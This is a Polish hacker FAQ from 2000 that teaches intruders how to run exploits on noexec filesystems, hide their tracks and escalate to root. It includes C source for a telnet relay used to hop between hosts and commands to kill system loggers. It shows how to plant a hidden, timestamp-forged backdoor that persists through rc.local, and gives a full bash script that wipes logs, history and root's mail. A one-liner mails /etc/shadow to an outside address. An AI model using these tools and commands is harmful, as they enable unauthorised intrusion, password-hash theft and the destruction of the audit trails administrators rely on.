''``'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'___'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`' 'sAmkO[FAQ] version 1.BETA / \ ' ' /_____\ ' '(c)copyright 2000 sAmkO | o-o | ' 'KONTAKT: samko@kki.net.pl \ - / ' ' samko@ad-zine.org __|__ ' ' samko@antionline.org / | \ ' ' http://samko.20m.com / | \ ' ' / \ ' ' / \ ' 'IRC: irc.gigabell.de ___ ___ ' ' #!hackpl,#hwa-security,#HWA.hax0r.news ' ' ' 'GREETZ: ' '- HWA (http://hwa-security.net) ' '- CYBERX SQUAD (http://www.cyberx-squad.org) ' '- ACCESS DENIED ZINE (http://www.ad-zine.org) ' ' ' '`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`''`'`'`'`'`''`'`'`'`''``'`' [root@localhost]# date nie gru 31 23:21:09 CET 2000 [root@localhost]# ######################################################################## '[0,1] Wstep ` ######################################################################## ######################################################################## '[0,2] Jak uruchomic sploita w filesystemie noexec? ` ######################################################################## ######################################################################## '[0,3] Jak nie zostawic po sobie sladu? ` ######################################################################## ######################################################################## '[0,4] Mam konto na serwerze,teraz jak zdobyc roota? ` ######################################################################## ######################################################################## '[0,5] Przeczytalem wszystkie FAQ'i jakie moglem znalesc,lecz wszystkie` ` sie powtarzaja,skad wziac nowe i originalne? ` ######################################################################## #@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@# [0,1] WSTEP A wiec tak sobie pomyslalem ze jak kazdy moze FAQA napisac to ja tez moge no i tak wyszlo.Denerwuje mnie jednak kilka spraw o ktorych napisze,otoz nie nawidze czegos takiego ze ludzie pisza niby FAQ'i a sa to po prostu wypisana cala ich wiedza jaka uzyskali czytajac inne zrodla.FAQ jest przeciez dokumentem odpowiadajacym na czeste zadawane pytania a przeciez nie zadaje sie tych samych pytan kilkanascie razy a tak moze wywnioskowac z pseudo-FAQ'w polskich (C)hackerow piszacych w kazdym tekscie o tym samym... :{ Moje FAQ nie jest takie,napisalem je jako autentyczne odpowiedzi na autentycznie zadawane do mnie pytania... #@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@# [0,2] JAK URUCHOMIC SPLOITA W FILESYSTEMIE NOEXEC? Otoz masz sploita na koncie,kompilujesz a tu sie okazuje ze jak chcesz go uruchomic to pokazuja ci sie bledy...No to znaczy ze filesystem gdzie masz swoj katalog domowy np. /home/samko jest "zamountowany" z opcja NOEXEC czyli teoretycznie nie mozesz wykonywac zadnych programow w swoim katalogu domowym...Przez dluzszy okres czasu byla to duza przeszkoda dla hackerow,lecz wpadli oni w koncu na doskonaly pomysl wyszukajac pewna dziure w jednej z bibliotek *nix'a (unixa,linuxa) ta biblioteka jest ld-linux.so.2 wiec teraz jak chcemy uruchomic sploita w filesystemie noexec robimy: chacker@ofiara.org~$ gcc sploit.c chacker@ofiara.org~$ ./a.out bash: ./a.out: Brak dostêpu <--- jak masz po polsku :) chacker@ofiara.org~$ /lib/ld-linux.so.2 ./a.out sploit running... Jak widac uruchomilismy sploita,jak narazie powinno to dzialac na wiekszosci systemow dopoki biblioteka ld-linux.so.2 nie zostanie zmieniona :} Trik z ta biblioteka moze byc takze przydatny jesli Admin nie da ci prawa do uruchamiania danego programu(chmod o-x /path/program) wtedy tylko root moze je uruchamiac... Przypuscmy ze chcesz zobaczyc kto jest w systemie: chacker@ofiara.org~$ w bash: /usr/bin/w: Brak dostêpu Widocznie admin wylaczyl nam prawa do uruchamiania w :> a teraz: chacker@ofiara.org~$ type w w is /usr/bin/w chacker@ofiara.org~$ /lib/ld-linux.so.2 /usr/bin/w root tty3 - 8:57pm 9.00s 1.67s 1.54s -bash I o to chodzilo :} #@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@# [0,3] JAK NIE ZOSTAWIC PO SOBIE SLADU? A wiec chcialbys pochackowac kilka serwerow ale boisz sie ze jak dostaniesz roota i cos spier..lisz to bedziesz mial klopoty...Taa ten dylemat przezywa na poczatku kazdy :} ale jezeli bedziesz: czujny,pomyslisz dwa razy zanim cos zrobisz,zdobedziesz odpowiednie narzedzia i przeczytasz ten tekst :-> to bedziesz znal pewne podstawy... Wiec oczywiscie wchodzisz na serwer petelkami,nie bede tu o nich pisal bo napewno o nich czytales a jak nie to poszukaj w innych FAQ'ach :} Ale mam co do petelek pewna uwage,otoz opisane jest ze jak robisz petelke to przekopiowujesz pliki (sploity,killoga,backdoory) z jednego serwera na drugi az dojdziesz do ostatniego serwera-atakowanego,ja sie pytam po co?!? ;\ nie wystarczy przejsc petelka z jednego serwera na drugi az do atakowanego bez przekopiowania narzedzi a na koncu z ostatniego serwera wchodzac(ftp) na pewne konto(nie musi byc shell) gdzie masz wszystkie narzedzia juz predzej skopiowane i wtedy je sciagnac no pewnie ze latwiej :} Kiedys gdy jeszcze bawilem sie w "wlamy" :P uzywalem miedzy petelkami telnet gateway'a byl to program ktory uruchomiony bind()'owal sie na porcie i czekal na polaczenie gdy ktos sie polaczyl program ten uruchamial telnet'a i czekal na podanie adresu serwera gdy on zostal podany telnetowal sie na ten serwer, Trik tkwi w tym ze kazdy user moze uruchomic tego gateway'a,wiec gdybys uruchomil gatewaya na serwerze i wylogowal sie ladnie z serwera a potem bys sie telnetowal na gateway'a ktory uruchomiles to nic by nie zostanie w logach gdy z gateway'a bys telnetowal sie dalej na innny serwer,gateway jest bardzo przydatny poniewaz gdybys telnetowal na inny serwer z twojego serwera tradycynie to admin twojego serwera mialby wszystko w logach zas gdy uzywasz gateway'a to trudno im bedzie udowodnic ze to wlasnie ty telnetowales sie :} pamietaj ze po wlamie musisz usunac gateway'a przykladowo jak nazwales go gateway :P to napisz: chacker@ofiara~# killall gateway Jezeli admin predzej nie zauwazyl gateway'a a potem skillowales proces gateway'a i usunales z dysku to admin nie moze ci zbytnio udowodnic no chyba ze zapomniales o gateway'u nie skillowales jego procesu itd.to wtedy admin zobaczy: samko 948 0.0 0.9 1024 312 tty2 S 16:12 0:00 ./gateway a potem poleceniem: root@localhost~# netstat -lp | grep gateway zauwazy ze ten dziwny program gateway tworzy gniazdo sluchajace...:) i wtedy masz problem bo admin dodatkowo wie kto ten program uruchomil... ;| Wiec nie zapominaj zeby zawsze kasowac niepotrzebne pliki i killowac niepotrzebne procesy :-] --- Wiec ze troche zamieszalem ale gdy przeczytasz to okolo 100 razy to powinienes zalapac o co chodzi... :} A oto zrodlo gateway'a --- CUT HERE --- /* TELNET GATEWAY-very usefull tool :> made by - no one knows ;[ some usefull changes by sAmkO */ #include #include #include #include #include #include #include #include #include #include #include #include #define port 191084 FILE *errfd; static int serfd; struct sockaddr_in addr; char buffer[10][80]; int sockused[10]; int numports = 10; int numproc=0; died() { numproc--; wait3(NULL,WNOHANG,NULL); signal(SIGCLD,died); return; } init_io() { signal(SIGCLD,died); if ((serfd = socket(AF_INET,SOCK_STREAM,0)) <0 ) return(1); addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons((u_short)port); if (bind(serfd,(struct sockaddr *)&addr, sizeof(addr))) { fprintf(errfd,"ioinit cannot bind socket\n"); exit(1); } if (listen(serfd,5) == -1) { fprintf(errfd,"ioinit cannot listen at socket\n"); return(1); } return(0); } getconnect() { int s,length; struct sockaddr_in address; while(1) { length= sizeof addr; while ((s= accept(serfd,&address,&length))<0); wait3(NULL,WNOHANG,NULL); if (fork() == 0) /* child */ { numproc++; dup2(s,0); dup2(s,1); dup2(s,2); close(s); write(serfd,"\n\n---MENU---",14); write(serfd,"\nto connect: open host\r\n",24); /* you can delete lines with write() */ write(serfd,"\nto quit: q\r\n",16); write(serfd,"---------\n\n",12); system("exec telnet"); kill(getpid(),SIGKILL); close(0); close(1); close(2); exit; } /* end child */ close(s); wait3(NULL,WNOHANG,NULL); } } main() { int i; char temp[80],*term; int fd; for(i=0;i<36;i++) close(i); errfd=fopen("ERR","w"); if(errfd==NULL) return(-1); setsid(); if(fork()!=0) return(-1); init_io(); getconnect(); } --- CAT HERE --- Nie bede wiecej a gateway'u pisal po prostu uruchom go telnetuj sie na port 191084 serwera gdzie go uruchomiles i pobaw sie :) No dobra zrobiles juz kilkanascie :P petelek i wszedles na serwer dostales roota i jest c00l ale teraz najwazniejsze trzeba pozbyc sie wszelkich sladow,pierwszym krokiem jest wylaczenie calkowicie loggerow systemowych (syslogd,klogd) root@localhost~# killall -9 syslogd klogd teraz sprawdz /etc/syslog.conf i popatrz czy zadne logi nie ida na inny serwer albo nie do innych plikow w innych lokalizacjach jak tak jest to masz maly problem ale z czasem nauczysz sie takze jak tego problemu sie pozbyc...:} jak jest wszystko ok to robisz to: no skompilowales killoga i uruchomiles...oczywiscie skasowales zrodlo... :} a potem i skompilowanego killoga gdy sie z logow wyczyscisz... :} Teraz wylaczyles logowanie nic juz nie bedzie szlo do logow chyba ze uruchomisz loggery ponownie 8-].Po tym zabiegu wszystkie "warning'i" bede isc na /dev/console to znaczy ze jezeli admin jest lokalnie zalogowany na serwerze to bedzie niestety dostawal warningi na ekran... Wylaczylismy logowanie teraz postawimy backdoora(przypuscmy ze jest to standardowy backdoor,ktory siedzi (bind()'uje) sie na pewnym porcie i czeka na haslo, jak haslo jest ok to daje nam shella z uidem 0 (root) przykladowo moj backdoor(usbtrojan.tar.gz) z http://samko.20m.com root@localhost~# gcc backdoor.c -o .me root@localhost~# rm backdoor.c;cp .me /etc <--- chyba nic nie trzeba tlumaczyc... root@localhost~# touch -r /bin/bash /etc/.me <- to polecenie powoduje ze /etc/.me dostaje date dostepu taka sama jaka ma /bin/bash wiec gdy root sprawdza zmiany w systemie metoda: find / -ctime to jestesmy uratowani,gorzej jest gdy uzywa narzedzi typu tripwire,md5sum root@localhost~# echo "/etc/.me&" >> /etc/rc.d/rc.local <- to dopisze backdoora to pliku rc.local z ktorego komendy w nim zapisane sa uruchamiane po kazdym wlaczeniu systemu...jest to klopotliwe bo nie wiadomo kiedy system zostanie ponownie uruchomiony...ale jak to jeden z naszych rodzimych hackerow mowi: "patience is a virtue" :P Pamietaj zeby nigdy nie uzywac backdoorow typu: # cp /bin/bash /home/chacker/backdoor # chmod +s /home/chacker/backdoor bo to bardzo glupie i latwe do wykrycia... Drugim glupim pomyslem jest takze tworzenie nowych serwisow w /etc/services i /etc/inetd.conf ladujac jako nowy serwis shella no chyba ze uzyjesz inetback.c ktory mozesz znalesc w pakiecie usbtrojan.tar.gz na mojej stronie... Dobra zainstalowales juz backdoor'a teraz uzyj mojego skrypcika,dzieki ktoremu pozbedziesz sie kilku niepotrzebnych niespodzianek... :} fuck-the-trackz szuka w /tmp suidow kasujac je ,poniewaz sa one czesto tworzone przez sploity(exploity) a co by bylo jakby takiego suida zobaczyl admin.. ;\ trackz czysci historie uzytkownika...przydaje sie:} czysci logi tekstowe i kasuje cala poczte jaka zostala wyslana do roota przez jakies programy(np. logcheck) albo cos w tym stylu) A tu masz zrodelko trackz'a :} --- CAT HERE --- #!/bin/bash # # # # # # # # # # # # # # # # # # # # # # # # # # # # # description: The Almost lemest thing # # i've ever done... :> # # # # fuck-the-trackZ :} # # by sAmkO | http://samko.20m.com | samko@kki.net.pl # # # # greetz to: # # http://www.ad-zine.org # # http://www.cyberx-squad.org # # http://hwa-security.net # # # # # # # # # # # # # # # # # # # # # # # # # # # # # clean() { rm -f /tmp/takitam } whom() { if [ `whoami` != 'root' ]; then echo -e "\a\nyou must be root to run this...\n\n" exit 1 fi } niema() { echo -e "\n\n\E[032m" echo -e "_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_" echo -e " fuck-the-trackZ by sAmkO " echo -e "usage: $0 " echo -e "_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_" echo -e "\n\n\E[00m" exit 1 } if [ ! $# = 1 ]; then niema fi whom clear trap "echo "[fuck-the-trackZ]-by-sAmkO"" EXIT echo -e "fuck-the-trackZ :}\n" echo -e "\n\E[032mby sAmkO\n" echo -e "\E[00m" echo -e "\nWHAT ARE WE DOING:\n\n" echo "* "killing" all the mail for root..." # this is good when some deamons are # sending warnings if [ ! -e /var/spool/mail/root ]; then # to root... echo "hmmm there is no mail for root or the mail is not stored" echo "in /var/spool/mail" fi if [ -e /var/spool/mail/root ]; then echo "there are some messages for root..." rm -f /var/spool/mail/root echo -e "ok i removed they..." fi echo -e "\n" echo "* removing the history..." history -c echo "history removed..." echo -e "\n" echo "* now the .bash_history" if [ ! -e $HOME/.bash_history ]; then echo "ohh...i cannot find .bash_history" echo "maybe the history file is in the" echo "other file..." fi if [ -e $HOME/.bash_history ]; then >$HOME/.bash_history echo "$HOME/.bash_history cleaned...\n" fi echo -e "\n* unseting the variable HISTFILE" unset HISTFILE echo " " echo "* searching for suids in /tmp" find /tmp -perm ++s > /tmp/takitam 2>/dev/null let ile=0 for plik in `cat /tmp/takitam` do let ile=ile+1 done if [ $ile = 0 ]; then echo "no suids in /tmp" fi if [ $ile != 0 ]; then let ile=0 echo -e "\n\a[suids found!]\n" echo "delete these files? [y/n]" echo "" cat /tmp/takitam read kasowac if [ $kasowac = 'y' ]; then echo "removing suids from /tmp" for plik in `cat /tmp/takitam` do rm -f $plik echo "$plik removed..." let ile=ile+1 done echo "[$ile] file(s) removed..." fi if [ ! $kasowac = 'y' ]; then echo "ok im living /tmp without removing the suids..." fi fi echo -e "\n* are we in the logs...?! ;o" echo -e "Press Enter..." read for plik in /var/log/* do if [ ! -d $plik ]; then if [ ! $plik = '/var/log/wtmp' ]; then if [ ! $plik = '/var/log/lastlog' ]; then echo "---" entries=`cat $plik|grep $1|wc -l` if [ $entries = 0 ]; then echo "$plik : no entries..." continue fi if [ $entries != 0 ]; then echo "In $plik are $entries entries..." cat $plik | grep -v $1 >/tmp/totam mv /tmp/totam $plik echo "wiped!" fi fi fi fi done killall -HUP syslogd clean # E0F :{ --- CAT HERE --- Skrypt zrobil troche za nas,backdoor ktory uruchomilismy jest minimalny-pod wieloma wzgledami najlepiej by bylo uruchomic jakiegos rootkit'a z strojanizowanymi programami takimi jak ls,ps,ifconfig i wiele innych ale wtedy admin moze nas wykryc dzieki tripwire,md5sum ale najczesciej tylko tym... na wszelki wypadek... root@localhost~# cat /etc/shadow | mail twoj@email.pl hehe :} Dobra pozbylismy sie najczestszych sladow jakie mozemy zostawic... pamietaj ze nawet jak juz po zdobyciu roota wchodzisz backdoorem do systemu,czyli teoretycznie informacja o twoim polaczeniu nie jest przesylana do logow, ale nie zapomnij zeby zawsze wchodzic petelka!!! moze sie zdazyc ze gdy wejdziesz backdoorem,twoje prawdziwe IP moze zostac w logach np.firewall'a albo jakis sniffer sie wszystkim zajmie(np. Snort) To by byle na tyle,najwazniejsza zasada to: MYSL!!! :P #@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@# [0,4] MAM KONTO NA SERWERZE,JAK TERAZ ZDOBYC ROOTA? Czlowieku juz masz pol sukcesu w kieszeni,prawdziwym problemem jest root-jesli sie konta nie ma... :} - chociaz i tak sie zdobywa ;] Nie bede sie tu rozpisywal,musisz sie po prostu dowiedziec sie o systemie jak najwiecej np: chacker@ofiara~# uname -a chacker@ofiara~# ifconfig <---jesli po wykonaniu polecenia zobaczysz PROMISC... to znaczy ze na maszynie dziala sniffer miej sie wiec na bacznosci...:} chacker@ofiara~# cat /etc/issue.net chacker@ofiara~# cat /etc/issue chacker@ofiara~# rpm -qa <-- ro ci wyswietli informacje o wszystkich pakietach zainstalowanych w systemie i ich wersjach mozesz tez sprawdzic plik redhat-release,ktory mozesz znalesc w systemach redhatopodobnych... chacker@ofiara~# cat /etc/redhat-release <-- jezeli jest to dodatkowo pokaze ci dokladna wersje systemu...jezeli admin nie edytowal tego pliku...to samo tyczy sie pliku /proc/version Dobra przyjmijmy ze znasz juz dokladna wersje systemu i wersje pakietow zainstalowanych na serwerze teraz wejdz na jedna z ponizszych stron i szukaj exploitow na dane programy: http://www.ussrback.com http://packetstorm.securify.com http://neworder.box.sk http://www.anticode.com http://www.securityfocus.com No powinno wystarczyc... :} znajdz sploita i uruchom l-] #@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@# [0,5] PRZECZYTALEM WSZYSTKIE FAQ'i JAKIE MOGLEM ZNALESC,LECZ WSZYSTKIE SIE POWTARZAJA,SKAD WZIAC NOWE I ORIGINALNE? No prawda polskie FAQ'i sie bardzo czesto powtarzaja no wiesz..."takie czasy" ludzie wola na latwizne isc...:\ Ale coz w polskich faq'ach duzo nowego infa nie znajdziesz musisz skazac sie na zagraniczne a mianowicie Angielskie(RuleZz :P) wiec skad je wziac...Chyba wystarczy ze podam adresy...:} http://neworder.box.sk <--- w jakims linku Zines itp... http://packetstorm.securify.com <--- dzial magazines ale i dzial papers sie oplaca obejzec... :} http://hwa-security.net <-- dzial hax0r.news(chyba:P) http://blacksun.box.sk No narazie powinno to wystarczyc...A tak przy okazji to najprosciej wejdz w altaviste gdyby ktos nie wiedzial: http://www.altavista.com :} i wpisz slowo faq;FAQ ___________________________________________________________________________________________________ GREETZ: CYBERX-SQUAD: http://www.cyberx-squad.org HWA-SECURITY: http://hwa-security.net ACCESS DENIED: http://www.ad-zine.org ___________________________________________________________________________________________________ #@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#